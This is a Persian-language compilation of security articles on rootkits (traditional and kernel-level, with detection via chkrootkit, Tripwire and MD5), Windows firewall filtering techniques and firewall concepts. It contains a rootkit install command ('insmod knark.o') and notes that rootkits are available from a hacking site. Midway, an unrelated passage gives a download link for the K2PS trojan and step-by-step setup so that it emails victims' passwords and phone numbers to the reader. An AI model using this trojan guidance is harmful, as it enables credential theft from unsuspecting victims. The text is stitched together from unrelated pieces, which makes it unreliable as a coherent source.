RootKitها برنامه هایی هستند که از نظر ساختار کاری بسیار شبیه Trojan ها و Backdoor ها هستند ولی با این تفاوت که شناسایی RootKit بسیار مشکلتر از درب های پشتی است زیرا RootKit ها علاوه بر اینکه به عنوان یک برنامه کاربردی خارجی مثل شنونده Netcat و ابزارهای درب پشتی مثل Sub7 بر روی سیستم اجرا می شوند بلکه جایگزین برنامه های اجرایی مهم سیستم عامل و در گاهی مواقع جایگزین خود هسته کرنل می شوند و به هکرها این اجازه را می دهند که از طریق درب پشتی و پنهان شدن در عمق سیستم عامل به آن نفوذ کنند و مدت زیادی با خیال راحت با نصب ردیابها ( Sniffer ) و دیگر برنامه های مانیتورینگ بر روی سیستم اطلاعاتی را که نیاز دارند بدست آورند. در دنیای هکرها دو نوع RootKit اصلی وجود دارد که هر کدام تعریف جداگانه ای دارند.
1- RootKit سنتی: RootKit های سنتی با شناسایی اولین RootKit بسیار قدرتمند در اویل سال 1990 در طول یک دهه گسترش پیدا کردند و تا آنجا پیش رفتند که امروزه انواع مختلفی از RootKit های سنتی وجود دارند که به طور عملی خودشان نصب شده و به هکرها اجازه می دهند که به سرعت سیستم قربانی را فتح کنند. RootKit های سنتی برای سیستم عامل های مختلف نوشته شده اند ولی به طور سنتی بر روی سیستم های یونیکس مثلHP-UX - AIX - Linux - Solaris - SunOS و از این قبیل تمرکز کرده اند. ولی برای ویندوزهای سرور مثل NT/2000 نیز RootKit هایی نوشته شده اند که جایگزین کتابخانه های پیوند پویا ( DLL ) شده و یا سیستم را تغییر می دهند ولی تعداد زیادی از RootKit ها برای سیستم های یونیکس نوشته شده اند. RootKit ها اجازه دسترسی Root یا Administrator را به ما نمی دهند و ما هنگامی قادر به نصب آْنها بر روی یک سیستم هستیم که دسترسی ریشه ای و مدیر یک سیستم را توسط روش های دیگری مثل سرریز بافر ... به دست آورده باشیم. بنابراین یک RootKit یک سری ابزارهایی است که با پیاده سازی یک درب پشتی ( Backdoor ) و پنهان کردن مدارک استفاده از سیستم و ردپاها به هکر اجازه نگهداری دسترسی سطح ریشه را می دهد. ساختار کار تروجن ها به این صورت است که فایلی را در داخل هسته سیستم مثل پوشه System32 اضافه می کند و این فایل تمامی پسوردهای قربانی را Log کرده و برای هکر می فرستد و یا با باز کردن پورتی اجازه ورود هکر را از طریق پورت باز شده می دهد ولی RootKit های سنتی به جای اینکه فایلی در هسته سیستم قربانی اضافه کنند، سرویسها و فایل های اصلی و مهم سیستم عامل قربانی را با یک نسخه تغییر یافته آن که عملیاتی مخرب انجام می دهد جایگزین می کنند. برای مثال RootKit های معروف در سیستم های یونیکس برنامه /bin/loginرا که یکی از اساسی ترین ابزارهای امنیتی در Unix است را با یک نسخه تغییر یافته که شامل یک کلمه عبور درب پشتی برای دسترسی سطح ریشه می باشد عوض می کنند. سیستم های یونیکس از برنامه /bin/login برای جمع آوری و تست UserID های کلمات عبور استفاده می کند. /bin/login شناسه کاربری و پسورد تایپ شده توسط کاربر را با فایل پسوردها مقایسه می کند تا تعیین کند که پسورد داده شده توسط کاربر صحیح است یا خیر. اگر پسورد داده شده درست باشد روتین /bin/loginبه آن User اجازه ورود به سیستم را می دهد. خب با این توضیحی که دادیم فرض کنید که یک RootKit این برنامه را با برنامه نوشته شده خود عوض کند. اگر هکر از پسورد ریشه درب پشتی استفاده کند، برنامه /bin/login تغییر یافته و اجازه دسترسی به سیستم را می دهد. حتی اگر مدیر سیستم پسورد ریشه اصلی را عوض کند، هکر هنوز می تواند با استفاده از کلمه عبور ریشه درب پشتی به سیستم وارد شود. بنابراین یک روتین RootKit ، /bin/login یک درب پشتی است زیرا می تواند برای دور زدن کنترل های امنیتی نرمال سیستم مورد استفاده قرار گیرد. علاوه بر آن یک اسب تروا هم هست زیرا فقط چهره آن یک برنامه نرمال و زیبای Login است ولی در اصل یک Backdoor است. اکثر RootKit ها سرویس ها و برنامه هایی مثل DU - Find - Ifconfig - Login - ls - Netstat - ps را با RootKit خود جابه جا می کنند. هر یک از این برنامه های سیستمی با یک اسب تروای منحصر به فرد جایگزین می شود که عملکرد آنها شبیه به برنامه عادی است. همه این برنامه های Unix مانند چشم و گوش های مدیران سیستم می باشد که تعیین می کنند چه فایل ها و سرویس هایی در حال اجرا هستند. هکرها با پوشاندن چشم و گوشهای مدیران سیستم که توسط RootKit انجام می شود می توانند به صورت موثری حضورشان را در یک سیستم مخفی نگه دارند. linux RootKit 5 ( lrk5 ) و Tornkit دو نمونه از RootKit های سنتی هستند که برای سیستم های Linux و Solaris نوشته شده اند و در سایت آشیانه می توانید این RootKit ها را پیدا کنید. این RootKit ها به محض نصب شدن در سیستم قربانی خود را با سرویس های حیاتی و مهم سیستم عامل که در بالا ذکر شد جایگزین می کنند.
2- RootKit سطح هسته : این نوع از RootKit ها نسبت به نوع سنتی بسیار حرفه ای تر هستند و از نظر سطح پنهان سازی بسیار پا را فراتر از نوع سنتی گذاشته اند زیرا این RootKit ها در سطح ریشه پیاده سازی می شوند و این کار شناسایی و کنترل کردن آنها را بسیار مشکل تر کرده است. RootKit های سطح هسته به ما کنترل کاملی از سیستم اصلی و یک امکان قدرتمند برای جایگیری می دهد. یک هکر با ایجاد تغییرات اساسی در خود هسته، می تواند سیستم را در سطحی بسیار اساسی کنترل کرده و قدرت زیادی برای دسترسی به درب پشتی و پنهان شدن در ماشین را به دست آورد. خود هسته در حالی که یک کرنل زیبا و کارآمد به نظر می رسد تبدیل به یک اسب تروا می شود و در حقیقت Kernel فاسد می شود ولی صاحب سیستم از این موضوع بی خبر می ماند. درحالی که یک RootKit سنتی جایگزین برنامه های سیستمی حیاتی مثل برنامه های ifconfig - ls ... می شود ، یک RootKit سطح هسته در حقیقت جایگزین هسته می شود و یا آن را تغییر می دهد. تمامی فایل ها - دستورها - پردازشها و فعالیت های شبکه ای در سیستم آلوده به RootKit هسته پنهان می شوند و تمامی اعمال به سود هکر ضبط می شود. اغلب RootKit های سطح ریشه توسطLKM ها پیاده سازی می شوند. نصب RootKit های سطح هسته ای که توسطLKM ها پیاده سازی شده باشد، بسیار راحت است. برای مثال برای نصبKnrak Rootkit که برای هسته لینوکس نوشته شده است، یک هکر که با Account سطح ریشه یا همان Root به آن سیستم وصل است تنها کافی است insmod knark.o, را تایپ کند و ماژول نصب می شود و منتظر دستورات هکر می ماند و حتی نیازی به بوت کردن دوباره سیستم هم ندارد. RootKit های سطح هسته برای ویندوز NT هم وجود دارند که یک Patch را بر روی خود هسته اجرایی ویندوز NT بدون استفاده ازLKM ها اعمال می کند. چند تا از معروف ترین RootKit های سطح هسته Knrak و Adore برای سیستم های لینوکس ، Plasmoid برای سیستم های Solaris و RootKit سطح هسته ویندوز NT برای سیستم های سرور ویندوز نام دارند که همگی در لینک RootKit در سایت آشیانه برای اعضای سایت قرار داده شده اند. راه های مقابله با RootKit های سنتی و RootKit های سطح هسته مهمترین راه دفاع در برابر RootKit ها اجازه ندادن به هکرها در دسترسی به حساب مدیر است. همانطور که در بالا ذکر شد یک هکر برای نصب یک RootKit باید دسترسی سطح ریشه داشته باشد و اگر ما بتوانیم همیشه راه های نفوذ و آسیب های جدید سیستم عاملمان را شناسایی و آنها را از بین ببریم شانس دستیابی هکر به حساب ریشه سیستم خود را تقریباً به صفر رسانده ایم. در مرحله بعد اگر فرض کنیم که با بی احتیاطی ما ، هکری توانست بر روی سیستم ما RootKit نصب کند، یکی از راه های تست این که سیستم ما RootKit شده است یا خیر استفاده از دستورEcho است. تعداد بسیار کمی از RootKit ها ، دستور echo را که برای لیست کردن محتویات یک دایرکتوری می باشد تروا می کنند و اکثر RootKit ها بر روی تروا کردن ls تمرکز کرده اند. به همین دلیل echo یک لیست قانونی از محتویات یک دایرکتوری را برمی گرداند و اگر نتیجه ای که echo بر می گرداند با چیزی که دستور ls برای دایرکتوری داده شده نشان می دهد متفاوت باشد ممکن است چیزی در آن دایرکتوری پنهان شده باشد که این نتیجه را می رساند که سیستم شما RootKit شده است. ولی در کل این روش زیاد موثر نیست چون جستجوی تمام سیستم فایل برای یافتن هر اختلافی بین فایل های لیست شده در خروجی Echo و ls وقت زیادی را صرف می کند. امروزه ابزارهای مختلفی برای آنالیز برنامه Rootkit/bin/login وجود دارد که مشخص می کنند آیا RootKit شناخته شده ای نصب شده است یا خیر. این ابزارها وقتی که بر روی سیستم نصب می شوند به صورت دوره ای فایل های مهم بر روی سیستم را مثل /bin/login چک می کنند تا از وجود RootKit باخبر شوند که برنامه ChRootkit ابزاری جالب در این زمینه است ولی درکل بهترین راه دفاع در برابر RootKit ها استفاده از تکنولوژی اثر انگشت دیجیتالی قوی می باشد تا به صورت دوره ای درستی فایل های سیستم بحرانی را تحقیق نماید. MD5 ( یک تابع درهم ساز یک طرفه ) یک الگوریتم بسیار مناسب برای محاسبه این نوع اثر انگشتهای قوی می باشد. با محاسبه یک اثر انگشت Encrypt شده قوی برای فایل های سیستمی مهم یک هکر قادر نخواهد بود که فایلی را تغییر داده و با همان اثر انگشت وارد شود.TripWire یک ابزار قوی برای تست صحت است که در سایت آشیانه برای دانلود قرار داده شده است. TripWire درهم سازی MD5 ای از فایل های بحرانی مثل/etc/passwd/bin/login - ls - ps و ... ساخته و به صورت دوره ای این درهم سازی را با یک پایگاه داده ای امن مقایسه می کند. در صورت تغییر در MD5 یک سرویس سریع به مدیر سیستم اطلاع می دهد. همچنین در RootKit های سطح هسته Scan پورت ها در شبکه که با استفاده از ابزارهایی مثل Nmap صورت گیرد پورت های شنونده را به مدیر امنیتی سیستم نشان خواهد داد. به همین دلیل پویش دوره ای سیستم در طول شبکه برای پیدا کردن رد RootKit بسیار مفید است.
در آخر ذکر این نکته لازم است که اگر سیستم شما با تمام این ملاحظات آلوده به RootKit شد بهترین راه از بین بردن آن فرمت هسته و نصب مجدد سیستم عامل است.
روشهای مختلف پیادهسازی دیواره آتش، مزایا و معایب :
سیستم عامل ویندوز با توجه به موارد استفاده فراوانی که دارد، نسبت به همتایان خود بیشتر مورد توجه هکرها قرار دارد. در این میان سرویسهایی نظیر IISوSMB SHARING بیشترین توجه را به خود جلب کردهاند. بنابراین لازم است که تا حد ممکن تدابیری برای مبارزه با این نفوذها اندیشیده شود. دیوارههای آتش از جمله معروفترین روشها در این زمینه میباشند. اولین قدم برای هک کردن یک سیستم یافتن اطلاعات کافی در مورد آن میباشد. این اطلاعات به هکر نشان میدهند که توپولوژی شبکه مقصد او چیست و ضعیفترین یا در حقیقت مناسبترین نقطه جهت انجام حمله کدام است. برای جلوگیری از دستیابی هکر به چنین اطلاعاتی، دیوارههای آتش شیوههای متفاوتی دارند که در ادامه به معرفی آنها میپردازیم.
فیلتر بستهها
فیلتر بستهها بر اساس پارامترهای مختلف بسته نظیر IP وPORT مبدا و مقصد، پروتکل ارتباطی و.... صورت میپذیرد. در چنین حالتی دیواره آتش روی محتویات بسته نظارتی ندارد و تنها به بررسی پارامترهای فوق میپردازد. مزیت اصلی این روش سرعت بالای آن است، ولی در کنار این مزیت مشکل اصلی چنین روشی عدم توجه به محتویات بسته است که میتواند حاوی یک برنامه مخرب باشد. اکثر دیوارههای آتشی که به صورت سختافزاری طراحی میشوند از این تکنیک استفاده میکنند.
بررسی stateful
در این روش جدولی تحت عنوان جدول وضعیت (state table) در دیواره آتش وجود دارد که وضعیت فعلی کلیه اتصالات را درخود نگاه میدارد. در این صورت تنها بستههایی مجوز عبور مییابندکه از نظر جدول وضعیت، در وضعیت درستی باشند. به عنوان مثال، اجازه عبور یک پیغام ACK در پروتکل TCP پیش از ورود یک پیغام SYN داده نمیشود. با استفاده از این تکنیک، هکرها نمیتوانند به سادگی و تنها با تغییرIP مبدا خود، دیواره آتش را فریفته و آن را دوربزنند همچنین در این روش با توجه به آنکه تنها بستهها در زمان برقراری ارتباط چک میشوند (در مورد پروتکلهای اتصال-گرا (Connection Oriented) نظیرTCP ) و پس از آنکه یک ارتباط مجاز برقرار شد دیگر سایر بستههای ارتباط مد نظر مورد پردازش قرار نمیگیرد. بار پردازش کمتری وجود داشته و لذا کارایی دیواره آتش افزایش خواهد یافت.
فیلتر در سطح برنامههای کار بردی
چنین فیلترهایی میان شبکه ارتباطی و برنامههای کاربردی مختلف نظیرInternet Explorer قرارگرفته و محتویات بستهها را مورد پردازش قرار میدهند تا از وجود کدهای خرابکار URLهای غیر مجاز و ... در آنها مطلع شده و مانع از فعالیت آنها شوند.
پیادهسازی دیواره آتش
پیادهسازی دیوارههای آتش تحت سیستم عاملهای مبتنی بر Unix کار نسبتاً سادهای است. این سادگی نتیجه کدهای رایگان متعددی است که در این زمینه وجود دارند. نمونههایی از این دست pf برای سیستم عامل OpenBSD و iptable برای سیستم عامل Linux میباشند. برخلاف وجود منابع گوناگون و متعدد برای سیستمهای مبتنی بر UNIX برای پیادهسازی یک دیواره آتش تحت ویندوز منابع چندان زیادی در دست نمیباشد و اکثر منابع موجود نیز هزینههای زیادی را برای اجازه استفاده از خود تحمیل میکنند. همچنین روش استاندارد و مشخصی نیز برای انجام این کار در ویندوز وجود ندارد. تکنیکهای مختلفی در این زمینه وجود دارند که برای آگاهی از جزئیات آنها میتوانید به مقاله پیادهسازی دیواره آتش مراجعه نمایید. در ادامه تنها به بیان مزایا و معایب هر یک از این تکنیکها پرداخته میشود.
Layered Socket Provide (LSP
مزایا : - تحت کلیه ویندوزها به صورت یکسان قابل استفاده است
- دیواره آتش به بستههای کامل دسترسی خواهد داشت. یعنی بستههایی که برای عبور از شبکه ناگزیر به تکههای متعددی شکسته شدهاند به صورت سر هم شده به دیواره آتش خواهند رسید و لذا دیواره آتش مجبور به انجام عمل سر هم کردن بستهها نیست.
معایب : - نصب و پاکسازی چنین دیواره آتشی به سادگی امکان پذیر نیست و عدم دقت کافی به این مساله ممکن است نیاز به نصب مجدد ویندوز داشته باشد. - اسبهای تراوا میتوانند به سادگی و با استفاده از همان مکانیزم مورد استفاده دیواره آتش در سطحی پائینتر از آن قرار گرفته و به فعالیت بپردازند.
قلاب TDI
مزایا : - قابلیت کنترل برنامههای کاربردی در این سطح وجود دارد. - دسترسی مستقیم به جریان بستهها وجود دارد و به همین دلیل عمده فیلترینگ در این لایه قابل انجام است.
معایب : - کلیه بستهها به این لایه نمیرسند به عنوان مثال، بستههای پروتکل ICMP در این لایه قابل پردازش نیستند.
- پشته TCP از حملات خارجی نظیر حمله DOS مصون نیست، زیرا لایه TDI بالای پشته پروتکلهای ویندوز قرار دارند.
قلاب NDIS مزایا : - دسترسی مستقیم به بستههای دریافتی از شبکه - جلوگیری از ورود بستهها پیش از آنکه به پشته TCP دسترسی پیدا کنند.
معایب : - راهی برای یافتن نام پروسهای که بسته دریافت شده متعلق به آن است وجود ندارد.
قلاب Miniport مزایا : - دریافت بستهها در پائینترین سطح ممکن در معماری ویندوز
معایب : - مشکل بودن برنامه نویسی و خطایابی در این سطح
فیلتر ( Intermediate(IM
مزایا : - وجود مثال در این زمینه به همراه DDK - وجود اطلاعات مناسب و کافی برای برنامه نویسی در این سطح
معایب : - نیاز به ثبت دیواره آتش در شرکت مایکروسافت برای جلوگیری از پیغام خطای "sign with Microsoft " در هنگام نصب
هر کاربر با تجربه اینترنت می داند که یک دیواره آتش چیست و چه کاربردی دارد. برای دانستن تعریف دقیق آن می توانید به مقاله دیواره آتش چیست مراجعه کنید. در این مقاله دسته بندی دقیقی از روش های تولید دیواره آتش ارائه نخواهد شد، بلکه تنها به مرور برخی از مهم ترین این روش ها پرداخته می شود. کلیه این روش ها مربوط به پیاده سازی دیواره آتش تحت نسخه های مختلف سیستم عامل ویندوز می باشد. از صحبت در مورد مزایا و معایب این رویکردها در این مقاله خودداری می شود. برای اطلاعات بیشتر در این زمینه می توانید به مقاله روش های مختلف پیاده سازی دیواره آتش، مزایا و معایب رجوع کنید.
تکنولوژیهای فیلترینگ ترافیک شبکه در ویندوز
با وجود این که ویندوز 9X/ME و ویندوز XP/NT واسطهای سوکت مشابه دارند و معماری NDIS نیز درایورهای باینری miniport سازگار برای واسطهای شبکه را پشتیبانی می کند، زیر سیستمهای داخلی شبکه آنها تفاوتهایی با هم دارند. در واقع، زیرسیستمهای شبکه ویندوز NT/2000/XP خیلی پیچیده تر از ویندوز 9X/ME است، ولی هر دو قابل تقسیم به بخش های زیر می باشند:
NDIS- : در سال 1989 Microsoft و 3com با هم (Network Driver Interface Specification) NDIS را گسترش دادند که به درایورهای شبکه اجازه می دهد از سرویسهای واسط شبکه برای مخفی کردن جزئیات عملکرد خودشان استفاده کنند. درایور شبکه با مشخصات ذکر شده NDIS-miniport نامیده می شود. NDIS-miniport با نسخه های مختلف ویندوز سازگار است.
-درایورهای شبکه: توصیف جزئیات این درایور خارج از حوصله این مقاله می باشد. به طور خلاصه یک درایور شبکه (به طور مثال TCP/IP ) در لایه پایین از توابع کتابخانه ایNDIS برای دستیابی به شبکه استفاده می کند و ممکن است (TDI (Transport Data Information را در لایه بالایی ارائه دهد. واسط TDI ارائه شده می تواند توسط Clientهای متنوعی نظیر بخشی از پیاده سازی سوکت afd.sys (در ویندوزهای NT/2000/XP) استفاده شود.
-DLL های سطح کار بر که واسط سوکت ویندوز را تشکیل می دهند و عبارتند از : WS2_32.DLL ،msafd.dll ، wshtcpip.dll
در زیر به بررسی سریع روش های ممکن فیلترینگ ترافیک شبکه پرداخته خواهد شد. برخی از این روش ها که در سطح کاربر کار می کنند دارای محدودیت های فراوانی هستند. به عنوان مثال نمی توانند از اتصال برنامه هایی که مستقیما از لایه TDI استفاده می کنند جلوگیری نمایند.
فیلترینگ ترافیک در سطح کار بر
1)Winsock layered service provider (lsp) این رویکرد در msdn به خوبی مستند سازی شده است و دارای یک مثال مناسب (SPI.CPP) می باشد. از مزایای این روش می توان به امکان تعیین فرآیند هایی که سوکت های ویندوز را فراخوانی می کنند اشاره کرد. این روش می تواند برای انجام اعمالی از قبیل کنترل کیفیت سرویس، رمز نگاری جریان دادها و ... استفاده شود. البته همان طور که گفته شدTCP/IP می تواند مستقیماً از طریق TDI فراخوانی شود، بنابراین این روش برای مراقبت در برابر ویروس ها و اسب های تروا و ... استفاده نمی شود. به علاوه این رویکرد روی مسیریاب قابل استفاده نیست، زیرا بسته های اطلاعاتی در سطح TCP/IP مسیریابی می شوند (یا حتی در سطح کارت شبکه)
2) Windows 2000 Packet Filtering Interface
ویندوز 2000 APIهایی را ارائه می کند که برنامه های کاربردی سطح کاربر با استفاده از آن ها می توانند مجموعه ای از فیلترها -که توسط TCP/IP برای فیلتر کردن بسته ها استفاده می شوند- را نصب کنند. البته قوانین فیلترینگ نسبتاً محدودند (بر مبنای عبور/انسداد برای آدرس های IP و اطلاعات port). هم چنین این رویکرد فقط در ویندوز 2000 و نسخه های بالاتر قابل استفاده است.
3) جایگزینی Winsock DLL
این رویکرد با توجه به داشتن مشکلات امنیتی متعدد قابل اعتماد نمی باشد و لذا از بحث در مورد آن خودداری می شود.
4) قلاب کردن کلیه توابع ناامن
استفاده از این رویکرد نسبتاً مشکل بوده و نیازمند احتیاط فراوان می باشد، زیرا ممکن است بر روی ثبات و امنیت سیستم تاثیر بگذارد.
فیلترینگ ترافیک در سطح هسته ((kernel
1) kernel-mode sockets filter
این تکنولوژی برای ویندوزهای NT/2000 قابل استفاده است. این رویکرد با قرار گرفتن در مسیر تمامی فراخوانی ها از msafd.dll (پائین ترین لایه سطح کاربر در Winsock ) به ماژول afd.sys در سطح هسته (TDI-client، که در بالاترین سطح هسته قرار دارد و به عنوان بخشی از سوکتهای ویندوز شناخته می شود) و کنترل یا تغییر آن ها کار می کند. این روش، روش جالبی است ولی امکانات بیش تری نسبت به روش LSP ندارد. به علاوه، واسط AFD در نسخه های مختلف ویندوز متغیر بوده است که این مساله باعث افزایش تغییرات لازم برای استفاده از این رویکرد در این نسخه ها می شود.
2) TDI-FILTER driver
این تکنولوژی هم برای ویندوزهای 9X/ME و هم برای ویندوزهایNT/2000 به کار می رود. البته پیاده سازی آن در این دو تفاوت های فاحشی با هم دارد. برای ویندوز 98 مثالی در Vireo/Numega VtoolsD یافت می شود. هم چنین برای ویندوز NT/2000 مثالی در سایت http://www.sourceforge.net وجود دارد.
این تکنولوژی، تکنولوژی معروفی است که در تعدادی از محصولات تجاری (مثل outpost) استفاده شده است. البته همانند سایر روش هایی که تاکنون بیان شد، این رویکرد فقط می تواند برای ساختن محصولات ردة دیوارة آتش شخصی استفاده شود و نمی تواند از پشتة TCP/IP شما در برابر حملات خرابکاران مراقبت کند.
3) NDIS Intermediate Driver
Microsoft این دسته از درایورها را دقیقا به منظور پیاده سازی دیواره های آتش فراهم کرده است . البته این درایورها برای ویندوز95 قابل پیاده سازی نیست و در مورد ویندوزهای 98/ME/NT نیز بهتر است از این کار صرفنظر شود. نصب این درایورها و هم چنین استفاده آنها برای کاربران خیلی راحت نیست.
پشتیبانی از درایوهایIM در ویندوز 2000/XP بهبود یافته است، ولی مساله دیگری که در این مورد وجود دارد آن است که چنین درایورهایی باید دارای امضای دیجیتال ازMicrosof باشد، در غیر این صورت در هنگام نصب کاربر با پیغامی مبنی بر عدم داشتن امضای دیجیتال مواجه می شود. مثالی در این زمینه در DDK ویندوزهای 2000 به بعد وجود دارد.
4) windows 2000 filter hook driver
این روش در مستندات DDK توضیح داده شده است و فقط برای ویندوز 2000 و نسخه های بالاتر قابل استفاده است. مثالی در این زمینه در http://www.codeproject.com وجود دارد.
5) NDIS HOOKING FILTER DRIVER
این رویکرد بر مبنای قلاب کردن برخی توابع NDIS عمل می کند بدین ترتیب کلیه ترافیک ارسالی و دریافتی شبکه از مسیر توابع قلاب شده عبور خواهد کرد. لذا می توان محدودیت های مورد نظر را در این نقطه اعمال نمود.
6) Miniport Hooking
پایین ترین سطح برای پیاده سازی یک دیواره آتش، سطح miniport می باشد. البته نوشتن کد در این سطح، دشواری های فراوانی دارد و به همین دلیل توصیه نمی شود.
این تروجان تمام پسورد ها و شماره تلفن های وارد شده در سیستم قربانی را برای شما میل می کند ! طرز کار آن هم خیلی ساده است . اول برنامه را از لینک http://www.sharemation.com/tnt7/booters/K2PS034.zip دانلود کنید و از حالت زیپ خارجش کنید فایل K2pS_setup را اجرا کنید .دکمه open را بزنید . حال یکی از فایلهای کناری این برنامه را انتخاب کنید و open را بزنید ... فایل اولی که K2pS است تمام یوزر پسورد ها و شماره ها را برای شما هر زمان که قربانی به اینترنت وصل شود برای شما فرستاده می شود و دومی که K2pS_full است همان کار را می کند با این تفاوت که دیگر پسورد های تکراری را برای شما نمی فرستد !
حالا بعد از انتخاب سرور .. در قسمت smtp srver : باید آدرس سرور میل را وارد کنید (که چندتا میل سرور را برای شما اخر می نویسم) و در قسمت destination adress ایمیلی که باید اطلا عات به آن فرستاده شود (ایمیل خود شما)
در قسمت source address هم اسم قربانی یا هر چی که دوست دارید وارد کنید و بعد دکمه save را بزنید .. سرور شما آماده است توجه کنید که فایلی را ایجاد نمی کند در واقع فایل سروری که انتخاب کردید را ویرایش می کند .. پس فایل سرور همان فایلی است که open کردید ... .
دیوارههای آتش یکی از مؤثرترین و مهمترین روشهای پیاده سازی "مصونیت شبکه" هستند و قادرند تا حد زیادی از دسترسی غیر مجاز دنیای بیرون به منابع داخلی جلوگیری کنند.دیوارههای آتش، مانند خندقهای دور قلعههای دوران قرون وسطی عمل میکنند. شکل 1 یکی از این قلعهها را نشان میدهد. خندق دور قلعه باعث میشود نفوذ به قلعه مشکل باشد.
انجمن Network Computer Security Association) NCSA) تعریف زیر را از دیوارههای آتش ارائه داده است."دیواره آتش یک سیستم یا ترکیبی از چندین سیستم است که یک سری محدودیت را بین دو یا چند شبکه اعمال میکند."در واقع یک دیواره آتش با محدودکردن دسترسی بین دو شبکه سعی میکند یکی را از دیگری محافظت کند. عموماً دیوارههای آتش به منظور محافظت شبکه خصوصی که به یک شبکه عمومی یا مشترک متصل است به کار گرفته میشوند. دیوارههای آتش یک نقطه محدود کننده را بین دو شبکه ایجاد میکند.
عملکرد دیوارههای آتش را میتوان در سه جمله خلاصه کرد:
- آنها افراد را موقع ورود در یک نقطه کاملاً کنترل شده محدود میسازد.
- آنها از نزدیک شدن خرابکاران به منابع داخلی جلوگیری میکنند.
- آنها افراد را موقع خروج در یک نقطه کاملاً کنترل شده محدود میسازند.
در واقع این نقطه کاملاً کنترل شده در مثال قلعههای قرون وسطایی همان پل متحرکی است که تنها در مواقع ورود و خروج افراد مشخص بر روی خندق قرار میگیرد و در دیگر موارد بسته است و در نقش درب قلعه عمل میکند. دیواره آتش اغلب در نقطهای که شبکه داخلی به شبکه خارجی متصل است قرار داده میشود (شکل 2). تمام ترافیکی که از سمت شبکه خارجی به شبکه داخلی وارد میشود و یا از شبکه داخلی به سمت شبکه خارجی، خارج میشود از دیواره آتش عبور میکند، به همین علت دیواره آتش فرصت و موقعیت مناسبی را داراست که تشخیص دهد آیا ترافیک عبوری مورد پذیرش هست یا خیر. اینکه چه ترافیکی مورد پذیرش هست به "سیاست امنیتی" (Security Policy)شبکه باز میگردد. سیاستهای امنیتی تعیین میکنند که چه نوع ترافیکهایی مجوز ورود و یا خروج را دارا هستند.
میتوان گفت یک دیواره آتش:
- یک جداساز است.
- یک محدودساز (Restrictor) است.
- یک آنالیزکننده (Analyzer) است.
یک دیواره آتش ممکن است:
- مسیریابی با چند لیست کنترل دسترسی باشد.
- نرم افزاری که روی یک PC یا یک سیستم Unix اجرا می شود، باشد.
- یک جعبه سخت افزاری اختصاصی باشد.
انواع پیچیده تر دیواره های آتش به صورت ترکیبی از چندین سیستم و راه حلهای Multi-computer و Multi-router پیاده سازی میشوند. شبکه های مختلف بسته به نیازهای امنیتی مختلف و هزینه ای که برای تأمین امنیت در نظر گرفته اند از دیوارههای آتش مختلف و روشهای پیاده سازی مختلف آنها استفاده میکنند.
دیوارههای آتش اگر چه که از بروز مشکلات مختلف برای شبکه داخلی جلوگیری میکنند اما بدون اشکال و عیب نیستند. در مثال ذکر شده، افراد ماهرتر قادر خواهند بود از خندق با شنا عبور کنند و در یک فرصت مناسب هنگامی که پل باز است با لباس مبدل به قلعه وارد شوند. سؤال اینجاست که با وجود این اشکالات چرا دیوارههای آتش مورد استفاده قرار میگیرند؟ در پاسخ باید گفت درست است که در حالات خاصی دیواره آتش نفوذ پذیر است و خرابکاران قادرند از آن عبور کنند، اما با این حال این ابزار از عبور بسیاری از خرابکاران جلوگیری میکند و موثرترین ابزار در کنترل دسترسی به شبکه به حساب میآید. در صورتی که هیچ خندقی وجود نداشته باشد ورود افراد غیر مجاز به قلعه بسیار آسانتر خواهد بود و آیا چون در حالات خاصی، افراد خاص ممکن است از خندق عبور کنند، هیچ خندقی وجود نداشته باشد؟
در هر حال یک دیواره آتش قادر است در جهت بالا رفتن سطح امنیتی شبکه اقدامات مفیدی را انجام دهد. در ادامه مواردی که یک دیواره آتش قادر است انجام دهد و به امنیت شبکه کمک کند را مورد بررسی قرار میدهیم.
تواناییهای دیوارههای آتش در این بخش تواناییهای دیوارههای آتش را مورد بررسی قرار میدهیم.
یک دیواره آتش میتواند اجرای تصمیمات امنیتی را در یک نقطه متمرکزکند: همانطورکهگفته شد، دیواره آتش یک نقطه محدود کننده بین دو شبکه است. تمام ترافیک به داخل و از خارج باید از این نقطه باریک عبورکند و راه دیگری برای عبور ترافیک وجود ندارد. بدین ترتیب دیواره آتش قابلیت اعمال کنترل شدیدی را دارا خواهد بود و میتواند با اعمال ابزار مختلف تأمینکننده امنیت در این نقطه سطح قابل قبولی از امنیت را تضمین کند. در واقع چون همه چیز در یک کانال ارتباطی قابل کنترل است میتوان تصمیمات مختلفی را در ارتباط با امنیت شبکه گرفت و به اجرا در آوردن آنها را در یک نقطه متمرکز ساخت.
یک دیواره آتش میتواند سیاست امنیتی شبکه را به اجرا در آورد: میدانیم سرویسهای مختلفی در شبکهها وجود دارند و با گسترش اینترنت تنوع و تعداد آنها بسیار افزایش یافته است. اغلب این سرویسها ناامن هستند و هنگام استفاده و ارائه آنها باید دقت کرد. سیاست امنیتی شبکههای مختلف تعیین میکند که چه سرویسهایی در شبکه ارائه میشود و چه افرادی مجازند از این سرویسها استفاده کنند. دیوارههای آتش قادرند با پاسبانی و کنترل سرویسهای مختلف تنها به سرویسهای مجاز تعریف شده در سیاست امنیتی اجازه عبور دهند و بدین ترتیب سیاست امنیتی شبکه را به اجرا درآورند. سیاستهای امنیتی نهایتاً به تعدادی قوانین اجرایی تبدیل میشوند که دیوارههای آتش قادر خواهند بود تعداد زیادی از آنها را اجرا کنند. دیوارههای آتش ممکن است سرویسهای خطرناک و ناامن و را با اعمال محدویت تنها در شبکه داخلی اجازه دهند.
سیاستهای امنیتی مختلفی قابل اتخاذ هستند. مدیران یک شبکه ممکن است تنها به یک سیستم داخلی اجازه دهند. با دنیای بیرون در ارتباط باشد، در این صورت دیواره آتش تنها ترافیک متعلق به آن سیستم را از خود عبور خواهد داد.
ذکر این نکته ضروری است که پیادهسازیهای مختلف از دیوارههای آتش تواناییهای متفاوت در به اجرا در آوردن سیاستهای امنیتی دارند و بنابراین با استفاده از برخی از دیوارههای آتش ممکن است نتوان برخی از سیاستها را به اجرا در آورد.
یک دیواره آتش میتواند فعالیتهای مهم را ثبت کند: به این علت که تمام ترافیک از دیواره آتش عبور میکند، دیواره آتش یک مکان مناسب برای ثبت مجموعههای مختلف از فعالیتهاست. به عنوان تنها نقطه دسترسی، دیواره آتش میتواند ثبت کند که چه اتفاقاتی بین شبکه محافظت شده و شبکه بیرونی رخ میدهند. با دسته بندی این اطلاعات میتوان به نتایج خوبی در ارتباط با استفاده از شبکه، تهاجمهای در حال شکلگیری، مزاحمان و متخلفان داخلی و خارجی و.... دست یافت.
